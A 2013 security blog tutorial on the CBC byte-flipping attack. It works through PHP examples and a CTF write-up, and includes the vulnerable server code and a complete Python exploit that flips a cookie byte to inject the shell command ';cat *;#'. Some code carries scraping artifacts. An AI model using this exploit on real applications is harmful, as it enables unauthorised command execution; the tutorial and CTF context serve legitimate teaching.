Hacking

CBC byte flipping attack—101 approach

Daniel Regalado
August 22, 2013 by
Daniel Regalado

As usual, there are some explanations about this attack out there (see references at the end), but some knowledge is required to understand it properly, so here I will describe, step by step, how to perform this attack.

Earn two pentesting certifications at once!

Earn two pentesting certifications at once!

Enroll in one boot camp to earn both your Certified Ethical Hacker (CEH) and CompTIA PenTest+ certifications — backed with an Exam Pass Guarantee.

Purpose of the attack

To change a byte in the plaintext by corrupting a byte in the ciphertext.

Why?

To bypass filters by adding malicious chars like a single quote, or to elevate privileges by changing the ID of the user to admin, or any other consequence of changing the plaintext expected by an application.

 

First of all, let's start understanding how CBC (cipher-block chaining) works. A detailed explanation can be found here:

http://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Cipher-block_chaining_.28CBC.29

But I will only explain what is needed to understand the attack.

Encryption process

Plaintext

The data to be encrypted.

IV: A block of bits that is used to randomize the encryption and hence to produce distinct ciphertexts even if the same plaintext is encrypted multiple times.

Key: Used by symmetric encryption algorithms like AES, Blowfish, DES, Triple DES, etc.

Ciphertext: The data encrypted.

An important point here is that CBC works on a fixed-length group of bits called a block. In this blog, we will use blocks of 16 bytes each.

Since I hate mathematical formulas, below are mine:

Ciphertext-0 = Encrypt(Plaintext XOR IV)—Just for the first block.

Ciphertext-N= Encrypt(Plaintext XOR Ciphertext-N-1)—For second and remaining blocks.

Note: As you can see, the ciphertext of the previous block is used to generate the next one.

Decryption process

Plaintext-0 = Decrypt(Ciphertext) XOR IV—Just for the first block.

Plaintext-N= Decrypt(Ciphertext) XOR Ciphertext-N-1—For second and remaining blocks.

Note: The Ciphertext-N-1 is used to generate the plaintext of the next block; this is where the byte flipping attack comes into play. If we change one byte of the Ciphertext-N-1 then, by XORing with the net decrypted block, we will get a different plaintext! You got it? Do not worry, we will see a detailed example below. Meanwhile, below is a nice diagram explaining this attack:

Example: CBC blocks of 16 bytes

Let's say we have this serialized plaintext:

a:2:{s:4:"name";s:6:"sdsdsd";s:8:"greeting";s:20:"echo 'Hello sdsdsd!'";}

Our target is to change the number 6 at "s:6" to number "7". The first thing we need to do is to split the plaintext into 16-byte chunks:

Block 1: a:2:{s:4:"name";

Block 2 s:6:"sdsdsd";s:8 &lt;&lt;<-----target data-blogger-escaped-div="" data-blogger-escaped-here="">

Block 3: :"greeting";s:20:

Block 4: "echo 'Hello sd

Block 5: sdsd!'";}

So our target character is located at block 2, which means that we need to change the ciphertext of block 1 to change the plaintext of the second block.

A rule of thumb is that the byte you change in a ciphertext will ONLY affect a byte at the same offset of next plaintext. Our target is at offset 2:

[0] = s

[1] = :

[2] = 6

Therefore we need to change the byte at offset 2 of the first ciphertext block. As you can see in the code below, at line 2 we get the ciphertext of the whole data, then at line 3 we change the byte of block 1 at offset 2, and finally we call the decryption function.

1. $v = "a:2:{s:4:"name";s:6:"sdsdsd";s:8:"greeting";s:20:"echo 'Hello sdsdsd!'";}";

2. $enc = @encrypt($v);

3. $enc[2] = chr(ord($enc[2]) ^ ord("6") ^ ord ("7"));

4. $b = @decrypt($enc);

After running this code, we are able to change number 6 to 7:

But, how did we change the byte to the value we wanted at line 3?

Based on the decryption process described above, we know that A = Decrypt(Ciphertext) is XOR with B = Ciphertext-N-1 to finally get C = 6. Which is equal to:

C = A XOR B

So the only value we do not know is A (block cipher decryption); with XOR we can easily get that value by doing:

A = B XOR C

And finally, A XOR B XOR C is equal to 0. With this formula, we can set our own value by adding it at the end of the XOR calculation, like this:

A XOR B XOR C XOR "7" will give us 7 in the plaintext at offset 2 on the second block.

Below is the PHP source code so that you can replicate it:

[php]

define('MY_AES_KEY', "abcdef0123456789");

function aes($data, $encrypt) {

$aes = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', MCRYPT_MODE_CBC, '');

$iv = "1234567891234567";

mcrypt_generic_init($aes, MY_AES_KEY, $iv);

return $encrypt ? mcrypt_generic($aes,$data) : mdecrypt_generic($aes,$data);

}

define('MY_MAC_LEN', 40);

function encrypt($data) {

return aes($data, true);

}

function decrypt($data) {

$data = rtrim(aes($data, false), "\0");

return $data;

}

$v = "a:2:{s:4:"name";s:6:"sdsdsd";s:8:"greeting";s:20:"echo 'Hello sdsdsd!'";}";

echo "Plaintext before attack: $vn";

$b = array();

$enc = array();

$enc = @encrypt($v);

$enc[2] = chr(ord($enc[2]) ^ ord("6") ^ ord ("7"));

$b = @decrypt($enc);

echo "Plaintext AFTER attack : $bn";

[/php]

Try changing the character from "7" to "A" or something else to see how it works.

Exercise 2

Now that we understood how this attack works, let's do a more real-world exercise. Some weeks ago the CTF competition was hosted by the team Eindbazen and there was a Web 400 challenge called "Moo!" You can see all the details of this task at the end of the blog in References 2 and 3; here I am just going to describe the final steps of breaking CBC.

We were provided with the source code for analysis. Below is the chunk important for this exercise:

Basically, you will submit any text in the POST parameter "name" and the app will respond with a "Hello" message concatenating the text submitted at the end, but two things happen before the message is printed:

1. The POST "name" parameter is filtered out by the PHP escapeshellarg() function (which mainly will escape single quotes to prevent injecting malicious commands) and then it is stored in the Array-&gt;greeting field to finally create a cookie encrypted with this value.

2. The content of Array-&gt;greeting field is executed via PHP passthru() function, which is used to execute system commands.

3. Finally, any time the page is accessed, if the cookie already exists, it will be decrypted and its content executed via passthru() function. Here is where our CBC attack will give us a different plaintext, as explained in previous section.

So, I tried to inject the string below into the POST parameter "name":

name = 'X' + ';cat *;#a'

I added the char "X" which is the one to be replaced with a single quote via CBC byte flipping attack, then the command to be executed, ;cat *;, and finally an "#", which is interpreted as a comment by the shell so that we do not get problems with the last single quote inserted by escapeshellarg() function; therefore our command gets executed successfully.

After calculating the exact offset of previous ciphertext block byte to be changed (offset 51), I executed the code below to inject a single quote:

pos = 51;

val = chr(ord('X') ^ ord("'") ^ ord(cookie[pos]))

exploit = cookie[0:pos] + val + cookie[pos + 1:]

I am altering the cookie, since it has the whole ciphertext. Finally, I got this result:

First, we can see in yellow that our "X" was successfully changed to a single quote in the second block but, since the first block was altered, it got garbage inserted (in green) which causes an error when trying to unserialize() the data (in red) and, therefore, the app did not even try to execute our injection.

How to fix it?

Basically, we need to play with our injected data until we get garbage in the first block that does not cause any problem during unserialization. A way to get around it is by padding our malicious command with alphabetic chars. Therefore we come up with this injection string padding with multiple 'z' before and after:

name = 'z'*17 + 'X' + ';cat *;#' + 'z' *16

After sending above string, voila!!!, unserialize() does not complain about the garbage received and our shell command is executed successfully!!!!

If you want to replicate this exercise, in the Appendix section there is the PHP code running on the server side and the Python script (a little bit modified from code provided by Daniel from hardc0de.ru, thanks!!!) to perform the exploit.

Finally, I want to thank the guys from the references mentioned below for writing those excellent blogs.

Sources

Enjoy it!

Appendix

PHP code

[php]

ini_set('display_errors',1);

error_reporting(E_ALL);

define('MY_AES_KEY', "abcdef0123456789");

define('MY_HMAC_KEY',"1234567890123456" );

#define("FLAG","CENSORED");

function aes($data, $encrypt) {

$aes = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', MCRYPT_MODE_CBC, '');

$iv = mcrypt_create_iv (mcrypt_enc_get_iv_size($aes), MCRYPT_RAND);

$iv = "1234567891234567";

mcrypt_generic_init($aes, MY_AES_KEY, $iv);

return $encrypt ? mcrypt_generic($aes, $data) : mdecrypt_generic($aes, $data);

}

define('MY_MAC_LEN', 40);

function hmac($data) {

return hash_hmac('sha1', data, MY_HMAC_KEY);

}

function encrypt($data) {

return aes($data . hmac($data), true);

}

function decrypt($data) {

$data = rtrim(aes($data, false), "\0");

$mac = substr($data, -MY_MAC_LEN);

$data = substr($data, 0, -MY_MAC_LEN);

return hmac($data) === $mac ? $data : null;

}

$settings = array();

if (@$_COOKIE['settings']) {

echo @decrypt(base64_decode($_COOKIE['settings']));

$settings = unserialize(@decrypt(base64_decode($_COOKIE['settings'])));

}

if (@$_POST['name'] && is_string($_POST['name']) && strlen($_POST['name']) < 200) { $settings = array( 'name' => $_POST['name'],

'greeting' => ('echo ' . escapeshellarg("Hello {$_POST['name']}!")),

);

setcookie('settings', base64_encode(@encrypt(serialize($settings))));

#setcookie('settings', serialize($settings));

}

$d = array();

if (@$settings['greeting']) {

passthru($settings['greeting']);

else {

echo "</pre>

<form action="&quot;?&quot;" method="&quot;POST&quot;">n";

echo "

What is your name?

n";

echo "<input type="&quot;text&quot;" name="&quot;name&quot;" />n";

echo "<input type="&quot;submit&quot;" name="&quot;submit&quot;" value="&quot;Submit&quot;" />n";

echo "</form>

<pre>

n";

}

?>

[/php]

Exploit

[php]

#!/usr/bin/python

import requests

import sys

import urllib

from base64 import b64decode as dec

from base64 import b64encode as enc

url = 'http://192.168.184.133/ebctf/mine.php'

def Test(x):

t = "echo 'Hello %s!'" % x

s = 'a:2:{s:4:"name";s:%s:"%s";s:8:"greeting";s:%s:"%s";}%s' % (len(x),x,len(t),t, 'X'*40)

for i in xrange(0,len(s),16):

print s[i:i+16]

print 'n'

def Pwn(s):

global url

s = urllib.quote_plus(enc(s))

req = requests.get(url, cookies = {'settings' : s}).content

# if req.find('works') != -1:

print req

# else:

# print '[-] FAIL'

def GetCookie(name):

global url

d = {

'name':name,

'submit':'Submit'

}

h = requests.post(url, data = d, headers = {'Content-Type' : 'application/x-www-form-urlencoded'}).headers

if h.has_key('set-cookie'):

h = dec(urllib.unquote_plus(h['set-cookie'][9:]))

#h = urllib.unquote_plus(h['set-cookie'][9:])

#print h

return h

else:

print '[-] ERROR'

sys.exit(0)

#a:2:{s:4:"name";s:10:"X;cat *;#a";s:8:"greeting";s:24:"echo 'Hello X;cat *;#a!'";}

#a:2:{s:4:"name";

#s:10:"X;cat *;#a

#";s:8:"greeting"

#;s:24:"echo 'Hel

#lo X;cat *;#a!'"

#;}

#a:2:{s:4:"name";s:42:"zzzzzzzzzzzzzzzzzX;cat *;#zzzzzzzzzzzzzzzz";s:8:"greeting";s:56:"echo 'Hello zzzzzzzzzzzzzzzzzX;cat *;#zzzzzzzzzzzzzzzz!'";}

#a:2:{s:4:"name";

#s:42:"zzzzzzzzzz

#zzzzzzzX;cat *;#

#zzzzzzzzzzzzzzzz

#";s:8:"greeting"

#;s:56:"echo 'Hel

#lo zzzzzzzzzzzzz

#zzzzX;cat *;#zzz

#zzzzzzzzzzzzz!'"

#;}

#exploit = 'X' + ';cat *;#a' #Test case first, unsuccess

exploit = 'z'*17 + 'X' + ';cat *;#' + 'z' *16 # Test Success

FREE role-guided training plans

FREE role-guided training plans

Get 12 cybersecurity training plans — one for each of the most common roles requested by employers.

#exploit = "______________________________________________________; cat *;#"

#Test(exploit)

cookie = GetCookie(exploit)

pos = 100; #test case success

#pos = 51; #test case first, unsuccess

val = chr(ord('X') ^ ord("'") ^ ord(cookie[pos]))

exploit = cookie[0:pos] + val + cookie[pos + 1:]

Pwn(exploit)

[/php]

Daniel Regalado
Daniel Regalado

Daniel Regalado aka Danux is a security enthusiast with more than 10 years of experience on the field. His main focus is on Malware and Vulnerability Research; you can reach him either via email danuxx [at] gmail.com or his blog site: http://danuxx.blogspot.com/